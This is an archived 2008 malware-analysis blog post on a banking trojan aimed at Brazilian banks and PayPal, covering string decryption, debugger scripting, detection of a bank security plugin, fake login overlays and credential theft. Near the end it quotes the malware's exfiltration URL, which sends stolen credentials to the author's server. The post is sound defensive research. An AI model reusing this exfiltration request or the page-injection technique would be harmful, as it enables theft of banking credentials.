Archived Blog

Attacking Banks - Encrypted Strings and Local Content Injection

05.19.2008 -

We have been noticing quite a few binaries lately that target Brazilian banks. While most tend to have the same behavior, we found a particular piece that actually encrypted most of its strings to slow down analysis. In this blog we analyze the decryption routine and write a decryption algorithm, as well as note some other general ways to automate dumping of encrypted strings and their associated plaintext. In addition to this technical dive, we also touch on other interesting behaviors of this particular malware, including its ability to detect the presence of G-Buster Browser Defense, a security solution offered by some Brazilian banks, such as Caixa Economica Federal.

Decrypting the Strings

The executable was packed with Themida, a commercial protection offered by Oreans Technologies. Because no trial splash screen appeared on execution, it is assumed the malware author probably used a pirated copy to protect the executable. After removing the protection, a look at the strings of the binary revealed the following:

Figure 1:

The binary is littered with encrypted strings (ciphertext) like this. Many areas of code may execute only when a certain condition is met. It is not ideal, therefore, to simply wait until every string is decrypted because the binary only decrypts a string when it's needed. To write the decryption algorithm, we must first find it in the binary itself. Since all strings are decrypted only as they are needed, it is actually quite easy to find the decryption routine, and this is illustrated here:

Figure 2:

As you can see, a call is made to the same procedure after each ciphertext is loaded into the EDX register. It is safe to assume this is the decryption routine and is evident once you follow the call. Here is the decryption routine with some comments added to the right to give a better idea of how it works:

Figure 3:

As a note, I used Java style naming and translated operations like shifts to make it a bit more readable. Here is the decryption algorithm re-written in Java that takes a ciphertext string as an argument:

Figure 4:

As an example, if you supply the ciphertext N5DlPdHtON9bN4rfOt9lSszcT5nNQMvaRtTpN, it gets decrypted as \Software\Microsoft\Windows. Therefore, the area of code where this ciphertext was taken from is likely modifying the registry.

Alternative Decryption Methods

Not too many people would actually take the time to translate or strip out the decryption algorithm. There are quite a few ways you could have collected the ciphertext and plaintext pairs. One way is using PyDbg, which is a part of the PaiMei framework created by Pedram Amini. PyDbg allows you to script tasks while having the power of debugging features like setting breakpoints, looking at stack contents, etc. Since we know where the decryption routine is, we can actually make a script that sets a breakpoint at the starting address and dumps the contents of the EDX register, which at this point holds an address that holds the ciphertext. This script can be found here for use and modification, but here are the most important lines:

1) dbg.bp_set(0x4985C4, handler=readreg, restore=False)
2) print, 50)

Bullet 1 sets a breakpoint on the decryption routine's starting address. Once the breakpoint fires, control is handed to the readreg method. This method contains Bullet 2's statement, which then reads the contents of the EDX register (50 bytes worth) and prints the ciphertext. As you can see, this script is very versatile and can be easily modified for future malware samples.

If you don't want to install the PaiMei framework and want to use a more familiar tool, you can also write scripts for OllyDbg as well. This is just as simple and only requires that you have the OllyScript plug-in installed for OllyDbg. Once the plug-in is installed, a script as simple as this outputs every ciphertext that reaches that routine:

bp 4985C4    //set a breakpoint on the decyption routine
run               //run the program
    log edx    //log the value of edx, should be ciphertext
    eob logit  //on next breakpoint hit go to logit label
    run          //resume execution

The results of this script can be seen in the Log window of OllyDbg:


To keep this blog post at a reasonable length, we are discussing only some of the more interesting behaviors of this malware. Upon execution, a file is written to C:\WINDOWS with the filename 'Seam' with no extension. If you open the file with a text editor, you see something like the following:

Computador ....: PCNAME
GBPLUGIN STATUS: Gbplugin nao esta instalado
Data ..........: 5/10/2008
Hora ..........: 3:42:31 PM
IPS ...........:

As you can see, the malware documents some interesting information about your computer including your IP, computer name, and Web pages you have visited. These Web pages are actually pulled from the registry from HCU\Software\Microsoft\Internet Explorer\TypedURLs. The interesting line to note is the 'GBPLUGIN STATUS' line, which states that it is not installed. A quick search on Google reveals that GbPlugin is actually a reference to G-Buster Browser Defense, security software actually offered by banks such as Caixa Economica Federal. The software is installed once you log in and is supposed to protect you against keyloggers, fake sites, backdoors, and a variety of other things. The rather interesting thing is how it works, as the protection suite actually injects a DLL into your Internet Explorer process:

We actually installed G-Buster/GbPlugin in both C:\Arquivos de programas and C:\Program Files and neither were detected by the piece of malware. Further research will likely be done to see why it was not detected and whether the software protection suite actually protects against this piece of malware. However, regardless of whether this plug-in is installed or not, the malware injects code into a Web page whenever it matches against one of the targeted banks or money transfer companies. The way it determines if a targeted site is loaded is by sending the DDE WWW_GetWindowInfo message, which requires a call to DdeAccessData (user32.dll) which returns the currently visited URL as well as the title of the page. The URL/title are then compared against the following targetted banks: Banco do Nordeste, Itaucard/Credicard/Citi Credicard, Check Check, PagSeguro(UOL), Banco Rural, Banco Brasil, Nossa Caixa, and many more, including PayPal. Access to the actual HTML document is achieved by traversing the IEFrame hierarchy (IEFrame -> Shell DocObject View -> TabWindowClass -> Internet Explorer_server) by performing a series of FindWindowExA calls. To illustrate what this actually achieves, here is a screenshot from the PayPal website with the injected content, a fake login box attempting to overlay the original:

This stolen information is then written to a text file in the following format:

Data: 5/10/2008 | Hora: 11:17:39 AM
[E-mail Address]=-:
[Password]=-: fake
Junior Santos priv8

This information is then relayed to the malware author via an http request that looks like the following:

http://www.[snip].com/libb.php?praquem=[author email]&titulo=PCNAME+((INfect))&texto=[stolen info]


A slight twist from most banking malware with features such as encrypted strings and plugin checking, but generally a good piece of malware to illustrate the many tools out there like PyDbg and OllyScript that can help automate analysis. This could very well be a pack that's being distributed in small circles as there are numerous references to "Jr Santos" and "priv8", making it possible that libb.php is just part of a bundled webpack along with the piece of malware.

Security Researcher: Joren McReynolds

Bookmark This Post: